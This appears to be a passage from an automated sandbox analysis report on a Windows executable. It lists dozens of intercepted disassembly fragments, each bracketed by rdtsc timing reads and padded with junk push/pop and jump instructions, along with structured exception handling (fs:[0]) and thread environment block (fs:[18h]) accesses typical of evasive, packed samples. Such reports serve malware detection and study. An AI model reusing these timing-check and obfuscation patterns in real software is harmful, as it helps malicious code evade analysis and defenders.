Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0803 second address: 50F0818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ch, 92h 0x00000010 mov di, 13D0h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0818 second address: 50F081E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F081E second address: 50F0822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08A4 second address: 50F08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08A8 second address: 50F08AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F08AE second address: 50F08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0918 second address: 50F091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F091C second address: 50F0920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0920 second address: 50F0926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0926 second address: 50F096C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e jmp 00007F8AA8C154CAh 0x00000013 popad 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 mov dx, 75A0h 0x0000001b pop edi 0x0000001c mov esi, 6C279E15h 0x00000021 popad 0x00000022 leave 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8AA8C154D7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F096C second address: 50F0972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0972 second address: 50F0976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0976 second address: 50F003B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007F8AA8B7BB87h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F8AAD31341Dh 0x00000031 mov edi, edi 0x00000033 jmp 00007F8AA8B7BB96h 0x00000038 xchg eax, ebp 0x00000039 jmp 00007F8AA8B7BB90h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 call 00007F8AA8B7BB8Ch 0x00000047 pop ecx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F003B second address: 50F00E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c pushfd 0x0000000d jmp 00007F8AA8C154CDh 0x00000012 and si, 7386h 0x00000017 jmp 00007F8AA8C154D1h 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov esi, 5B2BF5D3h 0x00000026 pushad 0x00000027 movzx eax, dx 0x0000002a movsx edx, si 0x0000002d popad 0x0000002e popad 0x0000002f push FFFFFFFEh 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F8AA8C154D4h 0x00000038 sbb ecx, 74A53888h 0x0000003e jmp 00007F8AA8C154CBh 0x00000043 popfd 0x00000044 popad 0x00000045 push FED019EFh 0x0000004a pushad 0x0000004b mov ebx, 7F5BD3B8h 0x00000050 jmp 00007F8AA8C154D1h 0x00000055 popad 0x00000056 add dword ptr [esp], 76DE8459h 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 mov dh, 8Dh 0x00000062 jmp 00007F8AA8C154D4h 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F00E7 second address: 50F00ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F00ED second address: 50F015C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F8AA8C154C9h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8AA8C154CCh 0x00000017 sbb esi, 7C066FA8h 0x0000001d jmp 00007F8AA8C154CBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F8AA8C154D8h 0x00000029 xor ecx, 2C52E208h 0x0000002f jmp 00007F8AA8C154CBh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F015C second address: 50F0160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0160 second address: 50F0166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0166 second address: 50F016C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F016C second address: 50F0170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0170 second address: 50F0174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0174 second address: 50F0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d mov dx, BDB2h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F8AA8C154D8h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007F8AA8C154CBh 0x00000022 pop eax 0x00000023 jmp 00007F8AA8C154D6h 0x00000028 mov eax, dword ptr fs:[00000000h] 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F8AA8C154CEh 0x00000035 and ax, 5C58h 0x0000003a jmp 00007F8AA8C154CBh 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007F8AA8C154D8h 0x00000046 sbb si, E6B8h 0x0000004b jmp 00007F8AA8C154CBh 0x00000050 popfd 0x00000051 popad 0x00000052 nop 0x00000053 jmp 00007F8AA8C154D6h 0x00000058 push eax 0x00000059 jmp 00007F8AA8C154CBh 0x0000005e nop 0x0000005f pushad 0x00000060 mov bx, si 0x00000063 push eax 0x00000064 push edx 0x00000065 mov bx, si 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0245 second address: 50F0266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0266 second address: 50F026C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F026C second address: 50F0295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dh, 47h 0x0000000e pushfd 0x0000000f jmp 00007F8AA8B7BB8Ah 0x00000014 sub ah, 00000008h 0x00000017 jmp 00007F8AA8B7BB8Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0295 second address: 50F02D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F8AA8C154CBh 0x0000000b sbb ch, 0000004Eh 0x0000000e jmp 00007F8AA8C154D9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8AA8C154CDh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02D8 second address: 50F02DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02DE second address: 50F02E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03D2 second address: 50F03D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03D6 second address: 50F03F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03F1 second address: 50F03F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F03F7 second address: 50F0407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0407 second address: 50F040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F040B second address: 50F0411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0411 second address: 50F0417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0417 second address: 50F041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F041B second address: 50F04A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push esi 0x0000000e mov ecx, ebx 0x00000010 pop edi 0x00000011 mov ebx, eax 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F8AA8B7BB8Bh 0x0000001a nop 0x0000001b jmp 00007F8AA8B7BB96h 0x00000020 lea eax, dword ptr [ebp-10h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F8AA8B7BB8Dh 0x0000002c xor cx, FDF6h 0x00000031 jmp 00007F8AA8B7BB91h 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007F8AA8B7BB90h 0x0000003d or ch, 00000018h 0x00000040 jmp 00007F8AA8B7BB8Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04A3 second address: 50F04DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8AA8C154CFh 0x00000009 jmp 00007F8AA8C154D3h 0x0000000e popfd 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr fs:[00000000h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04DB second address: 50F04F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04F2 second address: 50F0518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0518 second address: 50F051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F051C second address: 50F0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0522 second address: 50F0537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0537 second address: 50F056F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 pushad 0x00000012 push esi 0x00000013 mov bh, 19h 0x00000015 pop esi 0x00000016 popad 0x00000017 mov ecx, dword ptr [eax+00000FDCh] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8AA8C154CDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F056F second address: 50F058C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F058C second address: 50F0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0590 second address: 50F0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0594 second address: 50F059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F059A second address: 50F05FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F8AA8B7BBD4h 0x0000000f jmp 00007F8AA8B7BB90h 0x00000014 add eax, ecx 0x00000016 pushad 0x00000017 movzx ecx, di 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F8AA8B7BB99h 0x00000022 xor ah, 00000006h 0x00000025 jmp 00007F8AA8B7BB91h 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0134 second address: 50E0179 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8AA8C154D0h 0x00000008 jmp 00007F8AA8C154D5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F8AA8C154CFh 0x0000001a mov ecx, 20B6654Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0179 second address: 50E0238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8AA8B7BB91h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edi, 43A7D9BEh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F8AA8B7BB95h 0x0000001e sub esp, 2Ch 0x00000021 jmp 00007F8AA8B7BB8Eh 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 jmp 00007F8AA8B7BB8Eh 0x0000002d movzx ecx, bx 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F8AA8B7BB8Ch 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 call 00007F8AA8B7BB8Eh 0x0000003e pushfd 0x0000003f jmp 00007F8AA8B7BB92h 0x00000044 and cx, 2778h 0x00000049 jmp 00007F8AA8B7BB8Bh 0x0000004e popfd 0x0000004f pop ecx 0x00000050 movsx ebx, si 0x00000053 popad 0x00000054 xchg eax, edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov cl, bl 0x0000005a mov bx, si 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0238 second address: 50E023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03B8 second address: 50E03CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03CA second address: 50E03EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8AA8C154CEh 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edx, cx 0x00000015 mov esi, 3C0AF135h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E03EE second address: 50E0400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0400 second address: 50E0404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04B5 second address: 50E04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04BB second address: 50E04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04BF second address: 50E04FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8B19539B5Ah 0x0000000e jmp 00007F8AA8B7BB97h 0x00000013 mov ebx, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AA8B7BB95h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04FE second address: 50E051D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-2Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8AA8C154D0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E051D second address: 50E0523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0523 second address: 50E0527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0527 second address: 50E0547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8B7BB95h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0547 second address: 50E0582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], esi 0x0000000f jmp 00007F8AA8C154D2h 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8C154D7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0582 second address: 50E05A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05A8 second address: 50E05AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05AD second address: 50E05D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d mov edx, ecx 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8AA8B7BB8Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05D8 second address: 50E063B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8AA8C154CAh 0x00000013 jmp 00007F8AA8C154D5h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F8AA8C154D0h 0x0000001f add al, FFFFFFF8h 0x00000022 jmp 00007F8AA8C154CBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E063B second address: 50E0668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AA8B7BB8Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0668 second address: 50E0678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0076 second address: 50E007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E007A second address: 50E0080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00B9 second address: 50E00EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8AA8B7BB8Fh 0x0000000a or ecx, 360E4E2Eh 0x00000010 jmp 00007F8AA8B7BB99h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00EE second address: 50E00F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00F4 second address: 50E00F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E00F8 second address: 50E0107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0107 second address: 50E010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E010B second address: 50E010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E010F second address: 50E0115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
